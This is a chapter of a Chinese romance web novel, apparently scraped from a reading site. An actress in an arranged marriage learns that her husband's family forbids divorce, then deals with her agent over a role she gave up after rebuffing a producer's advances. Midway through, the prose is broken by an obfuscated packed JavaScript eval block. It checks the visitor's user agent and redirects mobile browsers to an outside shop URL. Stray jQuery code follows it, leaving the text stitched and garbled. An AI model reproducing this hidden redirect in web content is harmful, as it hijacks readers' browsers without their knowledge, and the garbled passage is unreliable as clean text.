Chapter5
培养
岑凛摸不准沈裴南话里的意思。
是单纯的陈述,还是责怪她独自出来。
可她分明同护士讲过的,所以不算偷溜出来。退一万步讲,她是独立的个体,没必要去哪都得跟沈裴南汇报。
之前也没见怎么样,大半个月不联系都是常态。
于是认真开口:“沈先生,我认得路,你找我可以直接发消息,天冷,你冻感冒的话我担不起责任。”
这话说出来有些刺。她平日从没用这种语气跟沈裴南说过话。
没必要,也不敢。
一方面是沈家掌权人自带的压迫,另一方面则是沈裴南大她四岁,性格自小就沉稳冷淡。
同龄人都怕他不行,更何况是岑凛。
她是自小就怕沈裴南,那时候她不知道他就是和她定下婚约的人,每次见到人都会躲得远远的,又忍不住偷偷摸摸地看他。
无他,沈裴南从小就生得比同龄人好看太多。
岑凛给沈裴南取过一外号,叫冰美人。
又冰又冷的小美人。
印象中那时每次交谈,就已经像现在这般客气。
不过在岑凛那时的认知里,四岁的年龄差距足够让她在沈裴南面前恭敬谦卑,把他当作长辈。
在沈家借住半年后,岑筠宜被身边人陷害入狱,苏臻得知儿子入狱,备受打击,精神一蹶不振,但还是将岑凛接到自己身边。
而后的时间里,岑凛看着奶奶卖房产卖首饰,将自己一生的存款都用在了捞岑筠宜这件事上。
最后等来的是岑筠宜在狱中去世的消息。
老人家一夜间头发全白,仿若老了十岁,性子也愈发古怪起来。
岑凛高中的后两年几乎没人管她,最艰难的时候她连学费都交不起,一边想尽办法赚钱一边兼顾着学业。
那段时日,受尽冷眼。
她咬牙一定会出人头地。
/
之后许多年未曾见面,再加上岑凛刻意不去想从前的人与事,她对沈裴南的印象几乎归于空白。
说是与同一个陌生人结婚也差不了多少。
岑凛起初并不愿意,可苏臻下了死命令,说岑凛不嫁入沈家她死了也不会瞑目。
是以,嫁入沈家她到底带了几分不情愿,也做好随时会离婚的打算——她不觉得沈裴南会和一个没有感情的人这样不咸不淡地过一辈子。
“发了,你没回。”沈裴南单手插在大衣口袋里,神情闲散地开口,眼眸微垂,将岑凛的小表情尽收眼底。
“不可能,我手机没有提示。”岑凛很确定沈裴南没有给自己发消息。
沈裴南挑眉:“你再看看。”
岑凛不信邪地拿出手机,聊天界面赫然出现一个红点点,正是来自沈裴南。
他不仅发了消息,甚至还打了两个电话过来。
岑凛蹙起眉头。
怎么会,她明明一直有看手机,手机也开着振动。
但事实摆在眼前,再困惑也得接受。
“不好意思,我没看到。”
“你没必要一直对我这么客气,我想正常夫妻应该不像我们这样相处。”沈裴南冷漠地看了眼不远处匆匆赶来的年轻男人,转身与岑凛并肩,然后虚环住她的肩膀,“走吧,阿姨准备了早点。”
然后抬腿,带着岑凛往前走。
看见眼前这一幕,宋言衡倏然顿住脚步,脸色有些难看。
他是认识沈裴南的。
宋言衡站在原地,目送他们并肩远去。
他清楚,沈裴南刚才那一眼,是警告。
沈裴南的动作太突然,岑凛猝不及防,身体瞬间僵住,反应过来时她已经被沈裴南带出几步远。
虽只是护住肩膀,却已经是这段时间来俩人之间距离最近的一次。
思量过后,岑凛佯装镇定地开口:“怎么了?”
她觉得沈裴南应该不会无故这样。
沈裴南淡淡说:“风大。”
岑凛将信将疑,但此刻她更在意另一件事。
“你刚刚说,正常夫妻?我们?”
“是。”沈裴南答得很自然,“你或许不清楚,沈家家规规定沈家人不准离婚。”
顿了顿,又道:“其实我明白你心里在想些什么,但恐怕要让你失望了,所以,与其相敬如宾一辈子,倒不如早点培养感情,你觉得呢。”
沈家的人。
不能。
离婚?
好奇怪的家规。
岑凛一时无话,低头思考。
也就是说,她这辈子都不能跟沈裴南离婚?沈裴南一早知道自己一旦结婚就……,他居然就这么答应了。
半晌,岑凛脑中突然产生一个比较荒谬的想法,但又不是没可能,于是她抬头,幽幽开口:“你是不是,对我有好感?”
其实她一开始是想说他是不是喜欢自己,但这也显得她太自恋了,没好意思说出口。
如果不是因为这个,她真的想不明白沈裴南为什么会答应这门婚事,总不能是像自己一样被奶奶逼着同意的。
沈裴南沉默半晌,声音平缓否定:“不是。”
岑凛心道还好没有直接问他是不是喜欢自己,太尴尬。
不过既然问了,她不如直接问到底,得出她想要的回答:“那冒昧的问一下,你到底为什么答应和我结婚,那张婚约其实早就做不得数了。”
他们已经走至车前,沈裴南体贴地替岑凛打开车门,岑凛坐好后,抬头看向男人,等一个回答。
沈裴南纤长的手指轻搭在车门上,思索了一番,缓声开口:“我从没觉得不做数。”
岑凛见他不像开玩笑,愣了愣,想起来昨晚上他对沈煜说的那番话。
原来如此。
不过也对,沈裴南从来就是天之骄子,也最是听长辈的话,从小到大就没见他惹长辈不快过。
岑凛忽的有些惭愧,为她之前好无理由的揣测,与有意无意闪过的离婚念头。
“昨晚谢谢你。”
“我说了,不用这么客气。”沈裴南准备替她关上车门,又顿住,“家宴取消了,你先好好休息。”
“你不回去吗?”
“嗯,公司有事要处理。”
“噢,好。”岑凛迟疑了下,抬手挥了挥,“那……拜拜,你注意安全。”
沈裴南眼神微动,颔首:“知道的。”说罢,关上车门。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17721355|208671||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>汽车缓缓驶动。
岑凛没忍住回头看。
天地一身白,他独立于风雪中,身姿挺拔,气质卓然。
他站在原地,目送她。
远远地,看见一辆黑色商务车停在他面前,岑凛这才坐了回去。
岑凛脑中万千想法纠缠在一起,变成乱麻一团。
/
十点钟陈树礼终于把剧本文档发过来,岑凛回了个谢谢。
岑凛把文件调整她习惯的格式后,找到沈裴南的书房,准备将剧本打印出来,她喜欢在纸上做笔记。
等待的间隙顺道刷了下朋友圈,看到林樱发了几张张图片,配文:新的旅程,加油加油!
图片则是自拍与她新的定妆照,不是官摄图,而是她自己的自拍,同一个角色妆造,对方的看上去明显要用心很多,头饰也精致了不止一点。
要不要这么明显……
而且自己这边才刚拿到剧本,对方则连新的定妆照都拍上了。
黄友谦早早地点了赞,还评论道:我就说小樱你才是最适合这个角色的,果不其然,没让我失望,加油,看好你!
林樱现在还没有回他。
岑凛滑了过去,当没看到。
聊天界面里经纪人柳慧正在轰炸她,半个小时前她得了岑凛角色被换的消息,气势汹汹找人理论,结果得知是岑凛自己点头同意的,差点没晕过去。
掐着人中打电话给岑凛,但岑凛没接。
想也不用想就知道对面要说什么。
这么大制作的女三号并不好拿,柳慧废了好一番功夫都没谈下,还是后来岑凛凭着另一个小制作的女主角小火了一把,恰好两部剧角色的人设有相似之处,盛耀这边才肯松口。
果然,长篇大论很快就来,岑凛简单扫了两眼就已经头疼。
岑凛边刷朋友圈边等柳慧发完。
终于,在她把纸张装订好以后,手机不再振动,她掩上房门往回走,单手拿着手机,发语音。
“慧姐,你不觉得笪言人设更好一些吗,出圈的可能性要比之前那角色大得多,现在番位对我来说压根不重要,人男女主争番位好歹能证明自己抗剧还有实绩拿,我呢,一个六番女三号说到底根本不算什么。”
柳慧的语音很快发来,岑凛懒得听,直接转了文字。
“笪言人设好?你发烧了吗你,揽下这个角色你祖宗十八代都会被骂上一遭。”
“而且这是《雪容》的女三号,不是随随便便一个小剧组的配角,这是我们以后去谈其他角色的资本,你怎么就这么想不明白。”
岑凛叹了口气,把和陈树礼的聊天界面发了过去。
“昨晚上我把黄友谦给得罪了,不过是他先对我动手动脚。”
柳慧有几分钟没发消息,她虽然更看重另一个艺人,但总的来说对岑凛还算不错,一贯也痛恨圈内的潜规则。
等岑凛窝在沙发上看了很久剧本,手机才再一次响动。
【我再跟陈总聊聊,他黄友谦仗着出了几部有点声量的剧就飘成这样,给他脸了】
岑凛笑了笑,回:别勉强,我真心实意想尝试一下跟之前不同的风格,至于黄友谦……
早晚有一天,她会让他后悔的。